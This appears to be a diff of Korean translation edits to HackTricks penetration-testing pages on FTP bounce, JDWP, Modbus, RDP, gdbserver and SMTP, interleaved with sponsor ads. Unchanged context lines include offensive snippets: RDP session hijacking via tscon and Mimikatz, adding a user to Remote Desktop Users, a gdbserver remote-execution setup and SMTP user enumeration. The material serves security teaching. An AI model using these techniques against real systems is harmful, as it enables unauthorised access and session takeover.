### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다.
```
@ -75,9 +75,9 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -91,7 +91,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -30,14 +30,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
- FTP 중간 서버에서 유효한 FTP 자격 증명
- 피해자 FTP 서버에서 유효한 FTP 자격 증명
- 두 서버 모두 PORT 명령을 수락해야 함 \(바운스 FTP 공격\)
- 두 서버 모두 PORT 명령을 허용해야 함 \(바운스 FTP 공격\)
- FRP 중간 서버의 일부 디렉토리에 쓸 수 있어야 함
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가 \(이것이 당신이 이용할 점입니다\)
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가져야 함 \(이것이 당신이 이용할 점입니다\)
## 단계
1. 자신의 FTP 서버에 연결하고 연결을 수동으로 설정합니다 \(pasv 명령\) 피해자 서비스가 파일을 보낼 디렉토리에서 수신 대기하도록 합니다.
2. FTP 중간 서버가 피해자 서버에 보낼 파일을 만듭니다 \(익스플로잇\). 이 파일은 피해자 서버에 대한 인증, 디렉토리 변경 및 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
2. FTP 중간 서버가 피해자 서버에 보낼 파일을 만듭니다 \(익스플로잇\). 이 파일은 피해자 서버에 인증하고, 디렉토리를 변경하고, 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
3. FTP 중간 서버에 연결하고 이전 파일을 업로드합니다.
4. FTP 중간 서버가 피해자 서버와 연결을 설정하고 익스플로잇 파일을 전송하도록 합니다.
5. 자신의 FTP 서버에서 파일을 캡처합니다.
@ -48,7 +48,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
@ -39,7 +39,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
## More details
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 추가 세부정보는 해당 링크를 확인하세요.
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
1. **JDWP 개요**:
@ -51,14 +51,14 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
3. **JDWP 통신**:
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
- CommandSet 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
- 명령 집합 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
4. **악용**:
- JDWP는 임의의 클래스 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 다섯 단계의 악용 프로세스를 자세히 설명합니다.
- JDWP는 임의의 클래스 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 5단계의 악용 프로세스를 자세히 설명합니다.
5. **실제 악용**:
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 실제 시나리오에서 발견 가능하고 악용될 수 있으며, 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하며 실제 시나리오에서 악용될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
- 이 악용 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
6. **보안 의미**:
@ -82,7 +82,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
@ -24,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
# 기본 정보
1979년, **Modbus 프로토콜**이 Modicon에 의해 개발되어 메시징 구조로 사용니다. 이 프로토콜의 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에 따라 지능형 장치 간의 통신을 촉진하는 것입니다. 이 프로토콜은 장치가 데이터를 효율적으로 교환할 수 있도록 하는 데 중요한 역할을 합니다.
1979년, **Modbus 프로토콜**이 Modicon에 의해 개발되어 메시징 구조로 사용되었습니다. 이 프로토콜의 주요 용도는 마스터-슬레이브/클라이언트-서버 모델에 따라 지능형 장치 간의 통신을 촉진하는 것입니다. 이 프로토콜은 장치가 데이터를 효율적으로 교환할 수 있도록 하는 데 중요한 역할을 합니다.
**기본 포트:** 502
```
@ -38,16 +38,16 @@ msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -55,7 +55,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 기본 정보
Microsoft에서 개발한 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원거리 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
Microsoft에서 개발한 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
**기본 포트:** 3389
```
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요**
**실질적인 비즈니스 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -96,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>
**중요**: 활성 RDP 세션에 접근하면 해당 세션을 사용 중인 사용자가 강제로 로그아웃됩니다.
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (저장되지 않은 메모장에 있는 비밀번호, 다른 머신에서 열린 다른 RDP 세션 등...).
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (비밀번호가 디스크에 저장되지 않은 메모장, 다른 머신에서 열린 다른 RDP 세션 등...).
#### **Mimikatz**
@ -107,13 +107,13 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 모든 RDP 세션에 접근할 수 있습니다.
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 RDP 세션에 접근할 수 있습니다.
미 이러한 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
다른 도메인에서 또는 **더 나은 권한으로 RDP**를 통해 **당신이 관리자**인 PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해 로그인한** 사용자가 **당신이 관리자**인 PC에 접속하면, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -127,12 +127,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 설계된 Powershell로 작성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 데스크탑을 그의 동의 없이 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 사후 활용 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 동의 없이 그의 데스크탑을 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* 명령줄에서 자동화된 방식으로 마우스와 키보드 제어
* 명령줄에서 자동화된 방식으로 클립보드 제어
* RDP를 통해 대상에 네트워크 통신을 전달하는 SOCKS 프록시 클라이언트에서 생성
* RDP를 통해 대상에 네트워크 통신을 채널링하는 SOCKS 프록시 클라이언트에서 생성
* 파일을 업로드하지 않고도 대상에서 임의의 SHELL 및 PowerShell 명령 실행
* 파일 전송이 대상에서 비활성화되어 있어도 대상에 파일을 업로드 및 다운로드
@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -31,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Exploitation
### 업로드 및 실행
### Upload and Execute
**msfvenom으로 elf 백도어를 쉽게 생성하고**, 업로드하여 실행할 수 있습니다:
```bash
@ -58,7 +58,7 @@ run
```
### 임의의 명령 실행
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법이 있습니다.** [**여기에서 가져온 python 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법** [**여기에서 가져온 python 사용자 정의 스크립트를 사용하는 것입니다**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
@ -200,9 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -216,7 +216,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
</details>
{% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **기본 정보**
**간단한 메일 전송 프로토콜(SMTP)**은 **이메일을 전송하고 수신하는 데 사용되는 TCP/IP 프로토콜**입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
**간단한 메일 전송 프로토콜(SMTP)**은 **이메일을 전송하고 수신하는** 데 사용되는 TCP/IP 프로토콜입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
실제로 **이메일 프로그램**은 **이메일 전송을 위해 SMTP를 사용**하고, **수신을 위해 POP3 또는 IMAP을 사용**하는 것이 일반적입니다. 유닉스 기반 시스템에서는 **sendmail**이 이메일 용도로 가장 자주 사용되는 SMTP 서버로 두드러집니다. Sendmail이라는 상용 패키지는 POP3 서버를 포함하고 있습니다. 또한, **Microsoft Exchange**는 SMTP 서버를 제공하며 POP3 지원을 포함할 수 있는 옵션을 제공합니다.
@ -36,11 +36,11 @@ PORT STATE SERVICE REASON VERSION
```
### EMAIL Headers
피해자가 **이메일을 보내도록 만들 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **메일 헤더를 통해 피해자의 내부 토폴로지에 대해 알 수 있기 때문입니다.**
피해자가 **이메일을 보내도록 만들 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **메일 헤더를 통해 피해자의 내부 토폴로지 알 수 있기 때문입니다.**
또한 **존재하지 않는 주소로 그 서버에 이메일을 보내려고 시도하여 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인하세요.
또한 **존재하지 않는 주소로 그 서버에 이메일을 보내려고 시도하여 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인해야 합니다.
또한 **다양한 내용을 보내보세요. 헤더에서 더 흥미로운 정보를 찾을 수 있니다**: `X-Virus-Scanned: by av.domain.com`\
또한 **다양한 내용을 보내보세요. 왜냐하면 헤더에서 더 흥미로운 정보를 찾을 수 있기 때문입니다**: `X-Virus-Scanned: by av.domain.com`\
EICAR 테스트 파일을 보내야 합니다.\
**AV**를 감지하면 **알려진 취약점을 악용할 수 있습니다.**
@ -110,7 +110,7 @@ MAIL FROM: me
## 사용자 이름 브루트포스 열거
**인증이 항상 필요하지는 않습니다.**
**인증이 항상 필요한 것은 아닙니다.**
### RCPT TO
```bash
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
